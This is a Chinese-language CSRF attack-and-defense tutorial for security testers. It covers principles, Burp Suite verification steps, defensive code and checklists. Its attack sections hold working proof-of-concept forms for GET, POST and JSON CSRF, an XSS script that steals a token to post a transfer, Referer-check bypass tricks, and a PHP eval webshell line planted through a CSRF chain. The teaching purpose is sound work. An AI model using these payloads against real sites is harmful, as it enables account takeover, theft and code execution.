CSRF漏洞攻防全解析:从原理到实战的Web安全指南
1. 项目概述:为什么CSRF漏洞至今仍是“沉默的杀手”?
干了这么多年安全测试,我发现一个挺有意思的现象:很多开发同学对SQL注入、XSS这类漏洞警惕性很高,但对CSRF(跨站请求伪造)往往掉以轻心。他们觉得“不就是诱导用户点个链接吗?用户不点不就没事了?” 这种想法其实挺危险的。CSRF的可怕之处在于它的“静默”和“伪装”。它不像弹个窗的XSS那么显眼,而是悄无声息地,在你登录着银行网站、刷着社交媒体的同时,利用浏览器自动携带Cookie的机制,帮你完成一笔转账、发出一条状态、甚至添加一个管理员账号。整个过程,你可能毫无察觉。
简单来说,CSRF攻击的核心逻辑是:攻击者诱导已经登录了目标网站(我们称之为网站A)的用户,去访问一个恶意构造的页面(网站B)。这个恶意页面会向网站A发起一个请求(比如修改密码、转账),因为用户的浏览器里存着网站A的登录Cookie,这个请求就会被网站A认为是用户本人自愿发起的。听起来是不是有点“借刀杀人”的味道?这个漏洞的根源,在于Web早期设计的“无状态”特性,为了保持用户登录状态而引入的Cookie机制,在特定场景下成了攻击者的帮凶。
这篇文章,我会从一个老测试的角度,带你把CSRF漏洞里里外外扒个干净。从它最底层的原理和与XSS的本质区别讲起,到如何用Burp Suite这类工具快速验证一个功能点是否存在CSRF风险,再到实战中如何利用GET、POST甚至JSON格式的请求发起攻击。更重要的是,我会分享几种我实际工作中遇到的、教科书里不常提的CSRF绕过技巧和组合利用手法(比如和XSS结合),最后给出从开发到测试各个阶段可落地的防御方案和检查清单。无论你是刚入门的安全测试工程师,还是想加固自己应用的开发,这篇文章都能给你一套完整的、能直接上手的“攻防”指南。
2. 核心原理深度拆解:Cookie、会话与信任的边界
要真正理解CSRF,不能只停留在“诱导点击”这个表面。我们得深入到HTTP协议和浏览器行为层面,看看攻击到底是怎么发生的。这里的关键在于三个概念:Cookie、同源策略(SOP)和浏览器的“隐式身份验证”机制。
2.1 攻击链条的三要素:一个都不能少
一次成功的CSRF攻击,必须同时满足以下三个条件,缺一不可:
- 用户已登录并持有有效会话:用户必须在目标网站(如
bank.com)处于登录状态,浏览器中保存了该网站的会话Cookie(如SessionID=abc123)。这个Cookie就是用户的“临时身份证”。 - 网站存在可预测的操作请求:目标网站存在某个可以通过HTTP请求触发的敏感操作,并且这个请求的参数是可预测或可被攻击者构造的。例如,修改邮箱的接口是
POST /change_email,参数是new_email=attacker@evil.com。 - 用户访问了恶意页面:用户在不登出目标网站的情况下,访问了攻击者控制的页面(如
evil.com)。这个页面包含了自动向目标网站发起敏感请求的代码。
很多开发同学认为,只要把接口改成POST,用表单提交就安全了。这是一个巨大的误区。浏览器在发送请求时,并不会区分这个请求是来自用户主动点击的按钮,还是来自恶意页面自动提交的表单。只要请求的域名、路径和Cookie匹配,服务器就会照单全收。
2.2 与XSS的本质区别:信任的出发点不同
很多人容易把CSRF和XSS搞混,因为它们都带“跨站”。但它们的攻击模式和利用的信任关系截然不同。我常用一个比喻来区分:
- XSS(跨站脚本攻击):可以理解为“内鬼篡改”。攻击者在目标网站
bank.com的页面里注入恶意脚本。当其他用户访问这个被篡改的页面时,脚本在bank.com的域内执行,可以“为所欲为”,直接读取用户的Cookie、操作DOM。它利用的是用户对目标网站的信任(“我以为我在访问正常的银行页面”)。 - CSRF(跨站请求伪造):更像是“伪造公章”。攻击者自己搭建了一个恶意网站
evil.com。诱使用户访问后,这个网站让用户的浏览器向bank.com发送一个请求。因为浏览器会自动带上bank.com的Cookie,bank.com服务器收到请求后,看到盖着“正确Cookie”这个公章,就认为这是用户的合法操作。它利用的是目标网站对用户浏览器的信任(“服务器以为这个带着正确Cookie的请求就是用户本人发的”)。
简而言之,XSS是在目标网站内部搞破坏,CSRF是从外部伪造一个来自目标网站的合法请求。防御思路也完全不同:防XSS主要靠对用户输入进行严格的过滤和转义;防CSRF则需要让服务器有能力区分“这个请求是不是真的来自我自己的页面”。
2.3 浏览器的“自动行为”:攻击得以实现的温床
为什么恶意网站能发起对bank.com的请求?这涉及到浏览器的几个“自动”或“默认”行为:
- 自动携带Cookie:这是核心。当浏览器向某个域名发起请求时,会自动将该域名下的Cookie附加在HTTP请求头(
Cookie:)中发送出去。这是HTTP协议为了维持会话状态而定的规矩,但成了CSRF的漏洞根源。 - 跨域请求发送:浏览器的同源策略(SOP)主要限制的是跨域读取响应。对于简单的HTTP请求(如GET、POST表单),浏览器是允许跨域发送的。也就是说,
evil.com的页面可以自由地向bank.com的接口发送请求,只是默认情况下,evil.com的JavaScript读不到bank.com返回的数据。但CSRF攻击通常不需要读取响应,只要请求成功发出并被执行,攻击就达成了。 - 表单的自动提交:HTML中的
<form>表单,可以通过JavaScript的form.submit()方法自动提交,无需用户点击。<img>标签的src、<script>标签的src等属性,在设置后也会自动发起GET请求。
理解了这些,你就会明白,防御CSRF的本质,就是要在请求中增加一个攻击者无法预测、无法伪造的“信物”,让服务器能验证这个请求确实来源于它自己生成的页面,而不是来自evil.com的伪造。
3. 漏洞挖掘与验证实战:手把手教你定位CSRF风险点
知道了原理,我们怎么在真实项目里把它找出来呢?靠猜肯定不行。下面我结合多年经验,总结了一套可重复的CSRF漏洞挖掘和验证流程。工具以Burp Suite为主,因为它确实是这方面的“瑞士军刀”。
3.1 目标功能点定位:哪些地方最危险?
不是所有功能点都需要投入精力去测CSRF。优先关注那些能引起“状态改变”或造成“实质性影响”的操作。我通常会列一个检查清单:
- 用户账户相关:修改密码、修改绑定邮箱/手机、修改个人资料(特别是头像上传,可能结合文件上传)、账户注销。
- 权限与身份相关:提升用户权限、添加/删除管理员、角色分配。
- 资金与交易相关:转账、充值、提现、消费、优惠券领取。
- 内容管理相关:发布/删除文章、评论、留言;关注/取消关注用户;点赞、转发。
- 系统设置相关:修改网站配置、添加支付渠道、修改邮件服务器设置。
实操心得:在测试后台管理系统时,要特别留意那些“一键操作”的功能,比如“清空缓存”、“重建索引”、“备份数据库”。这些功能往往认为只有管理员才能访问,从而忽略了CSRF防护,一旦被利用,后果可能是服务中断或数据丢失。
3.2 使用Burp Suite进行快速验证
假设我们正在测试一个博客系统,发现了一个“修改作者邮箱”的功能。地址是https://blog.example.com/user/update_email,方法是POST,参数是new_email。
第一步:抓包与分析用Burp Proxy拦截修改邮箱的请求,你会看到类似这样的数据包:
POST /user/update_email HTTP/1.1 Host: blog.example.com Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... Content-Type: application/x-www-form-urlencoded Referer: https://blog.example.com/user/profile new_email=old@example.com关键看三点:
- 有没有Token?在请求参数或Header里找
csrf_token、authenticity_token、_token、X-CSRF-TOKEN这类字段。如果有,且值是一长串无规律的随机字符串,说明可能有防护。 - 有没有Referer检查?看请求头里的
Referer字段。服务器可能会验证这个值是否来源于自己的域名(如blog.example.com)。 - 请求是否简单?参数是否只有业务参数(如
new_email),没有其他用于防伪的校验参数。
第二步:移除Referer测试在Burp Repeater中,将抓到的请求包里的Referer头直接删除,或者修改成一个其他域名(如https://evil.com),然后发送请求。
- 如果请求成功执行(返回200 OK或302 Found,且邮箱确实被修改了),说明服务器没有验证Referer,存在CSRF风险。
- 如果请求被拒绝(返回403 Forbidden、400 Bad Request或提示“非法请求”),说明服务器可能验证了Referer。但这还不够,我们还要测试其他绕过可能。
第三步:测试Token是否可预测或可绕过如果请求中有Token,我们需要判断这个Token的质量。
- Token是否与用户会话绑定?用两个不同的账号同时操作同一个功能,对比他们的Token。如果不同,说明Token是会话相关的,安全性较好。
- Token是否可预测?观察Token的生成规律。是不是简单的数字递增?是不是基于时间戳?尝试用其他用户的Token(如果你能通过其他漏洞获取到)替换当前请求中的Token,看是否还能成功。如果成功,说明Token没有和当前会话强绑定,防御无效。
- Token是否每次更新?连续发起两次修改请求,看第二次请求用的Token是新的还是旧的。如果服务器接受旧的Token,那么攻击者只要获取一次Token,就可以重复使用,风险依然存在。
第四步:GET请求的简单验证对于GET请求的敏感操作(如GET /delete_article?id=123),验证起来更简单。直接在浏览器地址栏输入这个URL(确保已登录),如果文章被删除了,那CSRF漏洞就铁板钉钉了。因为攻击者只需要构造一个<img src="https://blog.example.com/delete_article?id=123">标签,当用户加载这个图片时,攻击就自动完成了。
3.3 验证流程总结与速查表
为了更直观,我把上面的流程整理成一个速查表,你可以在测试时对照着来:
| 步骤 | 操作 | 观察点 | 可能结果与含义 |
|---|---|---|---|
| 1. 抓包 | 拦截目标敏感操作请求 | 请求方法(GET/POST)、参数、Cookie、特殊Header(如Token)、Referer | 初步判断防护情况 |
| 2. 去Referer | 在Repeater中删除或篡改Referer头后重放请求 | 服务器响应状态码和内容 | 成功:无Referer校验,高危。 失败:可能有Referer校验,需进一步测试。 |
| 3. 改方法(针对POST) | 将POST请求改为GET,参数放在URL里,直接浏览器访问 | 操作是否成功执行 | 成功:服务器未严格区分请求方法,存在CSRF风险。 |
| 4. 测Token | 如有Token,尝试:1. 清空Token值;2. 使用其他用户的Token;3. 使用旧Token重复请求 | 服务器响应 | 任何一次成功:说明Token校验存在缺陷。 |
| 5. 构造POC | 根据以上结果,编写最简单的HTML PoC(概念验证)页面 | 在已登录状态下访问PoC页面,观察操作是否被触发 | 触发成功:确认漏洞存在,可复现。 |
注意事项:在测试生产环境时,务必在授权范围内进行,并且使用测试账号。绝对不要对真实的用户数据或线上核心功能进行破坏性测试。最好在项目的测试环境或沙箱环境中完成验证。
4. CSRF攻击的多种形态与实战构造
找到漏洞只是第一步,理解攻击者会如何利用它,才能更好地进行防御。CSRF攻击的形态主要取决于目标请求的类型。下面我分别针对GET、POST、JSON等常见请求类型,展示如何构造攻击页面。
4.1 GET型CSRF:最简单的攻击
这是最古典、也最容易被利用的类型。通常用于删除、关注、点赞等操作。 假设存在漏洞的请求是:GET https://blog.example.com/follow?user_id=attacker
攻击者构造的恶意页面 (evil.com/follow.html) 简单到令人发指:
<html> <body> <!-- 利用图片标签自动发起GET请求 --> <img src="https://blog.example.com/follow?user_id=attacker" width="0" height="0" /> <h1>你关注的页面不存在!</h1> </body> </html>用户访问这个页面时,浏览器会尝试加载一个“图片”,这个请求会自动带上用户在blog.example.com的Cookie,从而完成关注操作。用户只会看到一个“页面不存在”的提示,完全不知情。
4.2 POST型CSRF:表单的自动提交
现代Web应用更多使用POST请求。攻击者需要构造一个隐藏的表单,并用JavaScript自动提交。 假设漏洞请求是:POST https://bank.example/transfer,参数to_account和amount。
攻击页面 (evil.com/transfer.html) 如下:
<html> <body> <script> // 页面加载完成后自动提交表单 window.onload = function() { document.forms[0].submit(); }; </script> <form action="https://bank.example/transfer" method="POST"> <input type="hidden" name="to_account" value="ATTACKER_ACCOUNT" /> <input type="hidden" name="amount" value="10000" /> <!-- 通常还会有一个隐藏的提交按钮,但JS会自动提交 --> <input type="submit" value="查看最新活动" style="display:none;" /> </form> <!-- 可以放一些诱导性内容,比如“点击查看抽奖结果”,但实际上表单已自动提交 --> <p>正在为您跳转,请稍候...</p> </body> </html>这个页面一打开,表单就会自动提交,完成转账。攻击者甚至可以用iframe把它嵌在一个更复杂的钓鱼页面里,神不知鬼不觉。
4.3 JSON型CSRF:Content-Type的陷阱
很多前后端分离的应用使用JSON格式通信。开发者可能会误以为,只要设置Content-Type: application/json就安全了,因为浏览器表单默认无法直接发送这种格式。但攻击者总有办法。
方法一:利用Flash或过时浏览器(已较少见)早期可以通过构造一个Flash文件来发送自定义Content-Type的请求,但现在Flash已被淘汰。
方法二:利用enctype="text/plain"和参数构造这是一个非常精妙的技巧。HTML表单的enctype属性可以设为text/plain,这样表单数据就不会被编码成key=value&的形式。攻击者可以巧妙构造input的name属性,使其看起来像一个JSON对象。
<form action="https://api.example.com/update_profile" method="POST" enctype="text/plain"> <input name='{"name":"victim","email":"attacker@evil.com","ignore":"' value='test"}' type='hidden'> <input type="submit" value="点击领奖"> </form>当这个表单提交时,发送的请求体将是:
{"name":"victim","email":"attacker@evil.com","ignore":"=test"}服务器在解析JSON时,如果遇到多余的=test"}字段,可能会因为容错性而忽略它,或者ignore字段本身就被服务器忽略,从而成功修改了邮箱。这需要针对目标服务器的JSON解析器进行测试。
方法三:通过XSS配合Ajax发送JSON请求如果目标站点同时存在XSS漏洞,那么防御CSRF的Token和Referer检查都将形同虚设。攻击者可以通过注入的JavaScript代码,直接读取页面中的Token,然后用Ajax构造一个合法的JSON请求。这是“组合拳”,危害极大。
// 假设通过XSS注入的脚本 fetch('https://api.example.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', // 可以从当前页面的meta标签或全局变量中窃取CSRF Token 'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content }, credentials: 'include', // 关键!这会携带Cookie body: JSON.stringify({toAccount: 'ATTACKER', amount: 10000}) });实操心得:在测试RESTful API时,不要只看表面。一定要尝试用多种方式去模拟请求。对于JSON接口,除了用工具直接发包测试,也要思考在浏览器环境中能否构造出等效的请求。很多时候,开发只在Web前端加了Token,但API接口本身却忘了校验,这就是一个突破口。
5. 高级利用技巧与组合攻击案例
在真实的渗透测试或漏洞挖掘中,单纯的CSRF漏洞可能因为Referer检查、Token校验而无法直接利用。这时候就需要一些“骚操作”来绕过防御,或者结合其他漏洞打出“连招”。
5.1 Referer校验的绕过技巧
如果服务器只检查Referer是否存在,或者检查是否包含某个关键字,就可能被绕过。
空Referer攻击:某些场景下,浏览器发出的请求不会携带Referer。例如:
- 从本地HTML文件(
file://协议)发起的跨域请求。 - 使用
data:URI 协议加载的页面。 - 在HTTPS页面中发起HTTP请求(部分浏览器出于安全考虑会剥离Referer)。
- 通过
window.open()打开新窗口再导航,或使用Refresh元标签。 - 攻击者可以构造一个
data:text/html,<form action='...'><input type='submit'></form>的页面,诱导用户打开,此时发起的请求Referer为空或为data:。
- 从本地HTML文件(
Referer校验逻辑缺陷:
- 校验子域名:如果服务器只校验Referer是否以
*.example.com结尾,攻击者可以注册一个evil.example.com.attacker.com的域名,然后将CSRF页面放在这个域名下,Referer检查就能通过。 - 校验关键词:如果服务器只检查Referer中是否包含
example.com这个字符串,那么攻击者可以在自己的域名下创建一个名为example.com的目录,如https://attacker.com/example.com/csrf.html,这样Referer就是https://attacker.com/example.com/csrf.html,包含了关键词,从而绕过检查。 - 缺失协议校验:如果服务器用字符串匹配检查
https://example.com,但攻击者使用http://example.com.attacker.com,也可能绕过。
- 校验子域名:如果服务器只校验Referer是否以
5.2 CSRF + XSS:致命的组合
这是最具威胁的组合之一。XSS漏洞可以让攻击者在目标网站的页面中执行任意JavaScript。利用这个能力,攻击者可以:
- 直接窃取CSRF Token:如果Token放在页面的某个隐藏字段或Meta标签里,XSS脚本可以直接读取它。
- 发起“合法”的CSRF请求:用窃取到的Token,构造一个完全符合服务器校验规则的请求。由于请求是从目标网站自己的域内发出的,Referer检查也自然通过。
- 实现更复杂的攻击链:例如,先通过XSS弹窗钓鱼让用户确认某个操作(增加迷惑性),然后再用窃取的信息发起CSRF请求。
我曾经在一个内容管理系统(CMS)的后台发现过这样的链式漏洞。后台有一个反射型XSS点(jsoncallback参数未过滤),同时后台添加管理员的功能仅依赖一个名为pc_hash的Token做CSRF防护。利用过程如下:
- 构造一个包含恶意脚本的URL,诱使管理员点击。该脚本会向后台首页发起Ajax请求,从返回的HTML中正则匹配出
pc_hash的值。 - 再用这个
pc_hash去请求添加管理员的页面,获取另一个一次性Token(admin_manage_code)。 - 最后,将
pc_hash和admin_manage_code一起拼接到POST请求中,自动提交表单,成功添加一个攻击者控制的后台管理员账号。 整个过程全部由JavaScript在后台静默完成,管理员只会看到页面正常加载了一下,完全感知不到账号已经被添加。
5.3 利用文件上传功能写入WebShell
这是一个非常经典的、危害等级极高的利用场景。思路是:找到一个存在CSRF漏洞的“友情链接”或“内容提交”功能,该功能允许用户输入一个网址。攻击者提交一个指向自己服务器上CSRF攻击页面的链接。 当管理员在后台审核这个链接时,浏览器会访问攻击者提供的URL。这个CSRF页面包含一个向网站数据库写入恶意代码(如<?php @eval($_POST['cmd']);?>)的请求。由于管理员处于登录状态,这个请求会成功执行,将WebShell代码写入数据库的某个字段(如友情链接的备注字段)。 紧接着,攻击者再提交第二个链接。这个链接对应的CSRF页面,会触发网站另一个功能(比如SQL查询导出功能),将数据库中刚才写入的恶意代码字段,通过SELECT ... INTO OUTFILE语句导出到网站的Web目录下,形成一个可访问的PHP木马文件。 这个案例告诉我们,即使一个CSRF漏洞本身只能进行“数据写入”操作,如果能与其他功能(如数据导出、文件包含)结合,就有可能产生RCE(远程代码执行)的严重后果。
6. 从开发到测试:全方位防御CSRF漏洞
防御CSRF,必须在开发阶段就构建起防线,并在测试阶段进行严格验证。下面我分别从开发实现和测试验证两个角度来谈。
6.1 服务端防御:最佳实践与代码示例
防御的核心思想是“增加攻击者无法伪造的凭证”。以下是几种经过验证的有效方案,按推荐程度排序:
1. 同步令牌模式(Synchronizer Token Pattern)这是最主流、最有效的方案。原理是为每个用户会话生成一个随机、不可预测的Token,并将其同时放在服务器的Session和客户端的页面中(通常是表单的隐藏域或Meta标签)。当用户提交表单时,必须将这个Token一并提交,服务器会验证客户端提交的Token是否与Session中的一致。
- 实现要点:
- 随机性:Token必须是密码学安全的随机数,如
random_bytes(32)或uuidv4()。 - 会话绑定:Token必须与用户会话(Session)绑定,不同用户、不同会话的Token必须不同。
- 一次性(可选但推荐):每次提交后使旧Token失效,生成新Token。这能防止“重放攻击”。
- 关键操作强制使用:对所有能引起状态改变的POST、PUT、DELETE、PATCH请求强制校验。
- 随机性:Token必须是密码学安全的随机数,如
// PHP示例:生成并校验CSRF Token session_start(); function generateCsrfToken() { if (empty($_SESSION['csrf_token'])) { // 使用random_bytes生成密码学安全的随机令牌 $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf_token']; } function validateCsrfToken($userToken) { if (empty($_SESSION['csrf_token']) || empty($userToken)) { return false; } // 使用hash_equals防止时序攻击 return hash_equals($_SESSION['csrf_token'], $userToken); } // 在渲染表单时 $token = generateCsrfToken(); echo '<input type="hidden" name="csrf_token" value="' . htmlspecialchars($token) . '">'; // 在处理表单提交时 if ($_SERVER['REQUEST_METHOD'] === 'POST') { $submittedToken = $_POST['csrf_token'] ?? ''; if (!validateCsrfToken($submittedToken)) { http_response_code(403); die('Invalid CSRF token.'); } // 令牌验证通过,处理业务逻辑... // 可选:使当前令牌失效,生成新令牌以供下次使用 unset($_SESSION['csrf_token']); }2. 双重Cookie验证利用攻击者无法读取或修改目标网站Cookie(在大多数情况下)的特性。前端从Cookie中读取一个特定字段(如XSRF-TOKEN),并将其作为自定义请求头(如X-XSRF-TOKEN)或请求参数发送。服务器比对两者是否一致。
- 优点:实现简单,尤其适合前后端分离且API化的项目。
- 注意:必须确保网站没有XSS漏洞,否则Cookie会被窃取,此防御失效。同时,要设置Cookie的
HttpOnly和SameSite属性。
// 前端(Axios示例):自动从Cookie读取并设置请求头 import axios from 'axios'; // 假设服务端在登录响应中设置了 Cookie: XSRF-TOKEN=abc123 axios.defaults.xsrfCookieName = 'XSRF-TOKEN'; // 告诉axios从哪个Cookie读 axios.defaults.xsrfHeaderName = 'X-XSRF-TOKEN'; // 告诉axios设置哪个请求头 // 之后axios发起的每个请求都会自动带上 X-XSRF-TOKEN: abc1233. SameSite Cookie 属性这是一个浏览器端的防御机制。通过设置Cookie的SameSite属性,可以控制Cookie在跨站请求时是否被发送。
SameSite=Strict:最严格,完全禁止第三方Cookie。用户从百度点击链接到你的网站,登录态也会丢失,体验不好。SameSite=Lax(默认):平衡安全与体验。允许从外部链接导航(GET请求)时携带Cookie,但禁止在跨站POST请求或iframe加载时发送Cookie。这能防御绝大多数CSRF攻击。SameSite=None:必须与Secure属性一同使用(即HTTPS),允许所有跨站请求携带Cookie。设置方式(在服务端设置Cookie时):Set-Cookie: sessionid=abc123; Path=/; HttpOnly; SameSite=Lax重要提示:
SameSite=Lax是现代浏览器的默认行为,为CSRF防御提供了重要的基础层防护。但它不能防御同站(Same-Site)攻击或某些特定场景,因此不能作为唯一的防御手段,应与Token等方案结合使用。
4. 验证码或二次确认对于特别敏感的操作(如转账、修改密码),要求用户输入验证码或再次输入密码。这虽然不是纯粹的CSRF防御,但能有效增加攻击门槛,因为攻击者无法伪造用户的二次交互。
6.2 测试人员如何验证防御是否生效?
作为测试,我们的任务就是“想方设法”去绕过这些防御。以下是一份针对上述防御措施的测试清单:
| 防御措施 | 测试方法 | 预期结果(防御生效) | 风险点 |
|---|---|---|---|
| 同步令牌 | 1. 删除或修改请求中的Token参数。 2. 使用其他已登录用户的Token替换。 3. 重复使用同一个Token发起两次相同请求。 | 所有请求都应被拒绝(返回403等错误)。 | Token未绑定会话、Token可预测、Token未一次性使用。 |
| 双重Cookie验证 | 1. 删除请求头中的X-XSRF-TOKEN。2. 修改其值,使其与Cookie中的值不匹配。 3. 尝试在跨域环境下发起请求(检查 credentials: 'include'是否必要)。 | 请求被拒绝。 | 前端未正确携带请求头、后端未严格比对。 |
| SameSite Cookie | 1. 从另一个域名(或本地文件)发起POST表单提交到目标站点。 2. 检查浏览器开发者工具Network面板,看请求是否携带了关键的会话Cookie。 | 请求不携带会话Cookie,导致操作失败(通常会跳转到登录页)。 | 浏览器兼容性(旧版本浏览器不支持)、Cookie未设置SameSite属性。 |
| Referer检查 | 1. 删除Referer请求头。 2. 将Referer修改为其他域名或空值。 3. 尝试使用前述的“空Referer”或“子域名绕过”技巧。 | 请求被拒绝。 | 校验逻辑有缺陷(如只检查包含特定字符串、未检查完整域名)。 |
| 验证码/二次密码 | 尝试直接提交请求,不提供验证码或二次密码。 | 请求被拒绝,要求提供验证信息。 | 验证码可被OCR识别或绕过、二次密码通过其他接口泄露。 |
一个完整的CSRF安全测试流程应该是:
- 功能点梳理:列出所有可能受CSRF攻击的功能点。
- 基础检测:对每个点,用Burp Suite按第3章的流程测试(去Referer、改方法等)。
- 防御机制探测:如果基础检测失败,分析请求,识别采用了哪种防御(Token、Custom Header等)。
- 防御绕过尝试:针对识别的防御机制,使用上述测试方法尝试绕过。
- 组合漏洞思考:思考该功能点是否可能与其他漏洞(如XSS)结合,实现“曲线救国”。
- 出具报告:清晰描述漏洞位置、利用条件、潜在危害,并给出修复建议(指向具体的防御方案)。
7. 总结与个人经验分享
CSRF漏洞就像网络安全中的“慢性病”,它不一定会立刻导致系统崩溃,但长期忽视,一旦被利用,造成的损失往往是数据被篡改、资金被盗、权限失控等实质性伤害。通过这篇文章,我希望你不仅理解了CSRF的原理和危害,更能掌握一套从挖掘、验证到防御的完整方法论。
从我个人的经验来看,有几点特别想强调:
第一,不要迷信单一防御。SameSite Cookie很好,但旧版浏览器不支持。CSRF Token是基石,但如果Token生成算法有缺陷(比如用时间戳),或者没有和会话绑定,一样会被绕过。最稳妥的做法是采用“深度防御”策略:为Cookie设置SameSite=Lax属性作为第一道防线,同时对所有非幂等的操作(POST, PUT, DELETE, PATCH)实施CSRF Token校验作为核心防线。对于极高危操作,再加入验证码或二次密码确认。
第二,安全意识要贯穿始终。开发同学在写每一个能修改数据的接口时,都要下意识地问自己:“这个接口有没有做CSRF防护?” 测试同学在测每一个功能时,也要把CSRF测试用例纳入常规流程。运维同学在配置WAF(Web应用防火墙)时,可以开启CSRF防护规则作为额外的补偿性控制。
第三,工具是帮手,思路是关键。Burp Suite的CSRF PoC Generator插件能快速生成测试页面,Autorize插件能帮你自动化测试权限问题(包括CSRF)。但工具永远替代不了思考。理解漏洞的本质,才能更好地使用工具,甚至发现工具检测不到的边缘情况漏洞。
最后,安全是一个持续的过程。新的攻击手法和绕过技巧总会出现。保持学习,保持警惕,在代码中多写一行校验,在测试中多做一个用例,也许就能挡住一次真实的攻击。希望这篇长文能成为你对抗CSRF漏洞的一件实用装备。如果在实践中遇到任何有趣或棘手的案例,欢迎随时交流。
